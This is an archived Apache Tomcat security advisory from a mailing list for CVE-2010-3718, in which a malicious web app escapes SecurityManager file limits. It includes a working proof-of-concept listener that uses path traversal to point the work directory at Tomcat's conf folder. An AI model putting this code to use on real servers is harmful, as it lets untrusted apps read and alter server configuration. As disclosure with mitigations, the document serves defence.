bugtraq - [SECURITY] CVE-2010-3718 Apache Tomcat Local bypass of security manger file permissions

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <4D4CB049.8050408@apache.org>
Date: Sat, 05 Feb 2011 02:04:57 +0000
From: Mark Thomas <markt@...che.org>
To: Tomcat Users List <users@...cat.apache.org>
Cc: Tomcat Developers List <dev@...cat.apache.org>,
	announce@...cat.apache.org, announce@...che.org,
	full-disclosure@...ts.grok.org.uk, bugtraq@...urityfocus.com
Subject: [SECURITY] CVE-2010-3718 Apache Tomcat Local bypass of security manger
 file permissions

CVE-2010-3718 Apache Tomcat Local bypass of security manger file permissions

Severity: Low

Vendor: The Apache Software Foundation

Versions Affected:
- Tomcat 7.0.0 to 7.0.3
- Tomcat 6.0.0 to 6.0.?
- Tomcat 5.5.0 to 5.5.?
- Earlier, unsupported versions may also be affected

Description:
When running under a SecurityManager, access to the file system is
limited but web applications are granted read/write permissions to the
work directory. This directory is used for a variety of temporary files
such as the intermediate files generated when compiling JSPs to Servlets.
The location of the work directory is specified by a ServletContect
attribute that is meant to be read-only to web applications. However,
due to a coding error, the read-only setting was not applied. Therefore
a malicious web application may modify the attribute before Tomcat
applies the file permissions. This can be used to grant read/write
permissions to any area on the file system which a malicious web
application may then take advantage of.
This vulnerability is only applicable when hosting web applications from
untrusted sources such as shared hosting environments.

Example (AL2 licensed):

Listener source
---------------
package listeners;
import javax.servlet.ServletContext;
import javax.servlet.ServletContextEvent;
import javax.servlet.ServletContextListener;

public final class FooListener implements ServletContextListener {
    public void contextInitialized(ServletContextEvent event) {
        ServletContext context = event.getServletContext();
        java.io.File workdir = (java.io.File) context
                .getAttribute("javax.servlet.context.tempdir");
        if (workdir.toString().indexOf("..") < 0) {
            context.setAttribute("javax.servlet.context.tempdir",
                    new java.io.File(workdir, "../../../../conf"));
        }
    }
    public void contextDestroyed(ServletContextEvent event) {
    }
}

web.xml snippet
---------------
<listener>
  <listener-class>listeners.FooListener</listener-class>
</listener>

Mitigation:
Users of affected versions should apply one of the following mitigations:
- Upgrade to a Tomcat version where this issue is fixed
- Undeploy all web applications from untrusted sources

Credit:
The issue was identified by the Tomcat security team.

References:
http://tomcat.apache.org/security.html
http://tomcat.apache.org/security-7.html
http://tomcat.apache.org/security-6.html
http://tomcat.apache.org/security-5.html